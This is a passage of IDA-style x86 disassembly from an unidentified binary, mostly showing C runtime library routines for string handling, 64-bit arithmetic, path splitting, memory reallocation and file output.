[esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_418E0A loc_418DFB: ; CODE XREF: sub_418DE0+28j mov al, [edi] inc edi test al, al jz short loc_418E3B test edi, 3 jnz short loc_418DFB loc_418E0A: ; CODE XREF: sub_418DE0+19j ; sub_418DE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418E0A mov eax, [edi-4] test al, al jz short loc_418E48 test ah, ah jz short loc_418E43 test eax, 0FF0000h jz short loc_418E3E test eax, 0FF000000h jnz short loc_418E0A loc_418E3B: ; CODE XREF: sub_418DE0+20j dec edi jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418DE0+52j sub edi, 2 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E43: ; CODE XREF: sub_418DE0+4Bj sub edi, 3 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DE0+47j sub edi, 4 loc_418E4B: ; CODE XREF: sub_418DE0+5Cj ; sub_418DE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC jmp short loc_418E7C ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE0+75j ; sub_418DE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418E9A mov [edi], dl inc edi dec ecx jz short loc_418E90 test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC loc_418E7C: ; CODE XREF: sub_418DE0+7Ej ; sub_418DE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418E90 loc_418E83: ; CODE XREF: sub_418DE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418E92 dec ecx jnz short loc_418E83 loc_418E90: ; CODE XREF: sub_418DE0+8Bj ; sub_418DE0+A1j mov [edi], cl loc_418E92: ; CODE XREF: sub_418DE0+ABj pop ebx pop esi loc_418E94: ; CODE XREF: sub_418DE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418DE0+85j ; sub_418DE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EA4: ; CODE XREF: sub_418DE0+E4j ; sub_418DE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418E7C loc_418EAC: ; CODE XREF: sub_418DE0+7Cj ; sub_418DE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418EA4 test dl, dl jz short loc_418E9A test dh, dh jz short loc_418EF8 test edx, 0FF0000h jz short loc_418EE8 test edx, 0FF000000h jnz short loc_418EA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418DE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F10 proc near ; CODE XREF: sub_407252+2A2p ; sub_40EE72+31DBp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418F31 xor eax, eax jmp short loc_418F33 ; --------------------------------------------------------------------------- loc_418F31: ; CODE XREF: sub_418F10+1Bj mov eax, edi loc_418F33: ; CODE XREF: sub_418F10+1Fj cld pop edi leave retn sub_418F10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418F50 loc_418F40: ; CODE XREF: sub_418F50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418F50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_408C26+DBp ; sub_40DAF0+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418F56: ; CODE XREF: sub_417880+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418F7B loc_418F68: ; CODE XREF: sub_418F50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418F40 test cl, cl jz short loc_418FC4 test edx, 3 jnz short loc_418F68 loc_418F7B: ; CODE XREF: sub_418F50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418F86: ; CODE XREF: sub_418F50+61j ; sub_418F50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418FC8 and eax, 81010100h jz short loc_418F86 and eax, 1010100h jnz short loc_418FC2 and esi, 80000000h jnz short loc_418F86 loc_418FC2: ; CODE XREF: sub_418F50+68j ; sub_418F50+81j ... pop esi pop edi loc_418FC4: ; CODE XREF: sub_418F50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418FC8: ; CODE XREF: sub_418F50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419005 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FFE test ah, ah jz short loc_418FC2 shr eax, 10h cmp al, bl jz short loc_418FF7 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FF0 test ah, ah jz short loc_418FC2 jmp short loc_418F86 ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: sub_418F50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418FF7: ; CODE XREF: sub_418F50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418FFE: ; CODE XREF: sub_418F50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419005: ; CODE XREF: sub_418F50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41900C proc near ; CODE XREF: sub_408C26+AFp ; sub_40EE72+47F2p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_419020 xor eax, eax jmp short loc_419056 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_41900C+Ej dec [ebp+arg_4] push esi jz short loc_419050 mov esi, [ebp+arg_8] loc_419029: ; CODE XREF: sub_41900C+42j dec dword ptr [esi+4] js short loc_419038 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_41900C+20j push esi call sub_41E248 pop ecx loc_41903F: ; CODE XREF: sub_41900C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41905A mov [edi], al inc edi cmp al, 0Ah jz short loc_419050 dec [ebp+arg_4] jnz short loc_419029 loc_419050: ; CODE XREF: sub_41900C+18j ; sub_41900C+3Dj ... and byte ptr [edi], 0 loc_419053: ; CODE XREF: sub_41900C+55j mov eax, ebx pop esi loc_419056: ; CODE XREF: sub_41900C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41905A: ; CODE XREF: sub_41900C+36j cmp edi, [ebp+arg_0] jnz short loc_419050 xor ebx, ebx jmp short loc_419053 sub_41900C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419063 proc near ; CODE XREF: sub_409209+BFp ; sub_409209+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4CDA48 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_419097 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_4190FE loc_41907F: ; CODE XREF: sub_419063+30j mov cl, [edx] cmp cl, 61h jl short loc_419090 cmp cl, 7Ah jg short loc_419090 sub cl, 20h mov [edx], cl loc_419090: ; CODE XREF: sub_419063+21j ; sub_419063+26j inc edx cmp [edx], bl jnz short loc_41907F jmp short loc_4190FE ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_419063+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E709 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_4190F0 push edi call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4190F0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_4190F0 push [ebp+var_4] push [ebp+arg_0] call sub_4179C0 pop ecx pop ecx loc_4190F0: ; CODE XREF: sub_419063+53j ; sub_419063+61j ... push [ebp+var_4] call sub_417C3B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_4190FE: ; CODE XREF: sub_419063+1Aj ; sub_419063+32j pop ebx leave retn sub_419063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419101 proc near ; CODE XREF: sub_40A951+6p ; sub_40A96F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4CDA48, 0 push ebx push esi push edi jnz short loc_41912E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4191C7 cmp eax, 5Ah jg loc_4191C7 add eax, 20h jmp loc_4191C7 ; --------------------------------------------------------------------------- loc_41912E: ; CODE XREF: sub_419101+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_419162 cmp dword_433E7C, esi jle short loc_419150 push esi push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_419101+42j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, esi loc_41915A: ; CODE XREF: sub_419101+4Dj test eax, eax jnz short loc_419162 loc_41915E: ; CODE XREF: sub_419101+ADj mov eax, ebx jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_419162: ; CODE XREF: sub_419101+3Aj ; sub_419101+5Bj mov edx, off_433C70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_419186 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41918F ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419101+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41918F: ; CODE XREF: sub_419101+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_41915E cmp eax, esi jnz short loc_4191BA movzx eax, [ebp+var_4] jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: sub_419101+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4191C7: ; CODE XREF: sub_419101+16j ; sub_419101+1Fj ... pop edi pop esi pop ebx leave retn sub_419101 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp ; sub_40D01A+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4191F1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_419241 ; --------------------------------------------------------------------------- loc_4191F1: ; CODE XREF: sub_4191D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4191FF: ; CODE XREF: sub_4191D0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4191FF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41922A cmp edx, [esp+4+arg_4] ja short loc_41922A jb short loc_419232 cmp eax, [esp+4+arg_0] jbe short loc_419232 loc_41922A: ; CODE XREF: sub_4191D0+4Aj ; sub_4191D0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_419232: ; CODE XREF: sub_4191D0+52j ; sub_4191D0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_419241: ; CODE XREF: sub_4191D0+1Fj pop ebx retn 10h sub_4191D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419250 proc near ; CODE XREF: sub_40B822+24p ; sub_40D01A+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_419272 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419250+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_419280: ; CODE XREF: sub_419250+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_419280 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4192AE cmp edx, [esp+8+arg_4] ja short loc_4192AE jb short loc_4192AF cmp eax, [esp+8+arg_0] jbe short loc_4192AF loc_4192AE: ; CODE XREF: sub_419250+4Ej ; sub_419250+54j dec esi loc_4192AF: ; CODE XREF: sub_419250+56j ; sub_419250+5Cj xor edx, edx mov eax, esi loc_4192B3: ; CODE XREF: sub_419250+20j pop esi pop ebx retn 10h sub_419250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p ; ___:0040E7A0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_417AB0 cmp eax, 1 pop ecx jb short loc_4192F3 cmp byte ptr [ebx+1], 3Ah jnz short loc_4192F3 mov esi, [ebp+arg_4] test esi, esi jz short loc_4192EF push 2 push ebx push esi call sub_41ED0D add esp, 0Ch and byte ptr [esi+2], 0 loc_4192EF: ; CODE XREF: sub_4192B8+25j inc ebx inc ebx jmp short loc_4192FD ; --------------------------------------------------------------------------- loc_4192F3: ; CODE XREF: sub_4192B8+18j ; sub_4192B8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_4192FD and byte ptr [eax], 0 loc_4192FD: ; CODE XREF: sub_4192B8+39j ; sub_4192B8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419375 loc_419310: ; CODE XREF: sub_4192B8+87j mov cl, [eax] movzx edx, cl test byte_4CEF01[edx], 4 jz short loc_419321 inc eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419321: ; CODE XREF: sub_4192B8+64j cmp cl, 2Fh jz short loc_419335 cmp cl, 5Ch jz short loc_419335 cmp cl, 2Eh jnz short loc_41933B mov [ebp+var_4], eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419335: ; CODE XREF: sub_4192B8+6Cj ; sub_4192B8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41933B: ; CODE XREF: sub_4192B8+67j ; sub_4192B8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419310 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419375 cmp [ebp+arg_8], 0 jz short loc_419370 sub edi, ebx cmp edi, esi jb short loc_419359 mov edi, esi loc_419359: ; CODE XREF: sub_4192B8+9Dj push edi push ebx push [ebp+arg_8] call sub_41ED0D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419370: ; CODE XREF: sub_4192B8+97j mov ebx, [ebp+arg_4] jmp short loc_41937F ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: sub_4192B8+56j ; sub_4192B8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41937F and byte ptr [ecx], 0 loc_41937F: ; CODE XREF: sub_4192B8+BBj ; sub_4192B8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4193D2 cmp edi, ebx jb short loc_4193D2 cmp [ebp+arg_C], 0 jz short loc_4193AF sub edi, ebx cmp edi, esi jb short loc_419398 mov edi, esi loc_419398: ; CODE XREF: sub_4192B8+DCj push edi push ebx push [ebp+arg_C] call sub_41ED0D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4193AF: ; CODE XREF: sub_4192B8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4193FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4193BF mov esi, eax loc_4193BF: ; CODE XREF: sub_4192B8+103j push esi push [ebp+var_4] push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D2: ; CODE XREF: sub_4192B8+CCj ; sub_4192B8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4193F0 sub eax, ebx cmp eax, esi jnb short loc_4193E1 mov esi, eax loc_4193E1: ; CODE XREF: sub_4192B8+125j push esi push ebx push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 loc_4193F0: ; CODE XREF: sub_4192B8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4193FA and byte ptr [eax], 0 loc_4193FA: ; CODE XREF: sub_4192B8+FCj ; sub_4192B8+118j ... pop edi pop esi pop ebx leave retn sub_4192B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p ; sub_40D633+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41943D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41944A ; --------------------------------------------------------------------------- loc_41943D: ; CODE XREF: sub_4193FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_41944A: ; CODE XREF: sub_4193FF+3Cj mov eax, esi pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41944F proc near ; CODE XREF: sub_40C259+2Ep ; sub_418603+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41946A push [ebp+arg_4] call sub_417B89 pop ecx jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41946A: ; CODE XREF: sub_41944F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41947F push [ebp+arg_0] call sub_417C3B pop ecx jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_41944F+20j mov eax, dword_4CF028 cmp eax, 3 jnz loc_41958F loc_41948D: ; CODE XREF: sub_41944F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41956B push [ebp+arg_0] call sub_41AD89 mov ebx, eax pop ecx test ebx, ebx jz loc_419546 cmp esi, dword_4CF020 ja short loc_4194FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B592 add esp, 0Ch test eax, eax jnz short loc_4194FB push esi call sub_41B0DD mov edi, eax pop ecx test edi, edi jz short loc_4194FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4194DF mov eax, esi loc_4194DF: ; CODE XREF: sub_41944F+8Cj push eax push ebx push edi call sub_417390 push ebx call sub_41AD89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41ADB4 add esp, 18h loc_4194FB: ; CODE XREF: sub_41944F+74j test edi, edi jnz short loc_419542 loc_4194FF: ; CODE XREF: sub_41944F+62j ; sub_41944F+81j test esi, esi jnz short loc_419506 push 1 pop esi loc_419506: ; CODE XREF: sub_41944F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4CF024 call near ptr 2730000h nop mov edi, eax test edi, edi jz short loc_419542 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41952E mov eax, esi loc_41952E: ; CODE XREF: sub_41944F+DBj push eax push ecx push edi call sub_417390 push [ebp+arg_0] push ebx call sub_41ADB4 add esp, 14h loc_419542: ; CODE XREF: sub_41944F+AEj ; sub_41944F+D0j test ebx, ebx jnz short loc_419567 loc_419546: ; CODE XREF: sub_41944F+56j test esi, esi jnz short loc_41954D push 1 pop esi loc_41954D: ; CODE XREF: sub_41944F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2840000h mov edi, eax loc_419567: ; CODE XREF: sub_41944F+F5j test edi, edi jnz short loc_419588 loc_41956B: ; CODE XREF: sub_41944F+43j cmp dword_4CDA14, 0 jz short loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_41948D jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_419588: ; CODE XREF: sub_41944F+11Aj ; sub_41944F+123j ... mov eax, edi jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41944F+38j cmp eax, 2 jnz loc_4196AA cmp esi, 0FFFFFFE0h ja short loc_4195AC test esi, esi jbe short loc_4195A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4195AC ; --------------------------------------------------------------------------- loc_4195A9: ; CODE XREF: sub_41944F+150j push 10h pop esi loc_4195AC: ; CODE XREF: sub_41944F+14Cj ; sub_41944F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41968C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41BAE4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419670 cmp esi, dword_435EB4 jnb short loc_419634 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BEAC add esp, 10h test eax, eax jz short loc_4195FA mov edi, [ebp+arg_0] jmp short loc_41962C ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_41944F+1A4j push edi call sub_41BB80 mov edi, eax pop ecx test edi, edi jz short loc_419634 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419613 mov eax, esi loc_419613: ; CODE XREF: sub_41944F+1C0j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h loc_41962C: ; CODE XREF: sub_41944F+1A9j test edi, edi jnz loc_419588 loc_419634: ; CODE XREF: sub_41944F+18Bj ; sub_41944F+1B6j push esi push 0 push dword_4CF024 call near ptr 2730000h nop mov edi, eax test edi, edi jz short loc_41968C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419655 mov eax, esi loc_419655: ; CODE XREF: sub_41944F+202j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h jmp short loc_419684 ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_41944F+17Fj push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2840000h mov edi, eax loc_419684: ; CODE XREF: sub_41944F+21Fj test edi, edi jnz loc_419588 loc_41968C: ; CODE XREF: sub_41944F+162j ; sub_41944F+1F8j cmp dword_4CDA14, 0 jz loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_4195AC jmp short loc_4196E8 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_41944F+143j ; sub_41944F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4196D4 test esi, esi jnz short loc_4196B8 push 1 pop esi loc_4196B8: ; CODE XREF: sub_41944F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2840000h test eax, eax jnz short loc_4196EA loc_4196D4: ; CODE XREF: sub_41944F+260j cmp dword_4CDA14, 0 jz short loc_4196EA push esi call sub_41AB54 test eax, eax pop ecx jnz short loc_4196AA loc_4196E8: ; CODE XREF: sub_41944F+2Bj ; sub_41944F+134j ... xor eax, eax loc_4196EA: ; CODE XREF: sub_41944F+16j ; sub_41944F+13Bj ... pop edi pop esi pop ebx leave retn sub_41944F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419713 xor eax, eax jmp loc_4197E0 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_4196EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419726 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41972D ; --------------------------------------------------------------------------- loc_419726: ; CODE XREF: sub_4196EF+2Dj mov [ebp+arg_C], 1000h loc_41972D: ; CODE XREF: sub_4196EF+35j ; sub_4196EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419761 mov eax, [esi+4] test eax, eax jz short loc_419761 cmp ebx, eax mov edi, ebx jb short loc_419747 mov edi, eax loc_419747: ; CODE XREF: sub_4196EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417390 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196EF+47j ; sub_4196EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4197AC test ecx, ecx jz short loc_419775 push esi call sub_41A7D0 test eax, eax pop ecx jnz short loc_4197EE loc_419775: ; CODE XREF: sub_4196EF+79j cmp [ebp+arg_C], 0 jz short loc_419788 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41978A ; --------------------------------------------------------------------------- loc_419788: ; CODE XREF: sub_4196EF+8Aj mov edi, ebx loc_41978A: ; CODE XREF: sub_4196EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4197E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4197E5 loc_4197A7: ; CODE XREF: sub_4196EF+70j mov edi, [ebp+var_4] jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197AC: ; CODE XREF: sub_4196EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419D23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4197D5 mov [ebp+arg_C], 1 loc_4197D5: ; CODE XREF: sub_4196EF+BBj ; sub_4196EF+DDj test ebx, ebx jnz loc_41972D mov eax, [ebp+arg_8] loc_4197E0: ; CODE XREF: sub_4196EF+1Fj ; sub_4196EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196EF+ADj 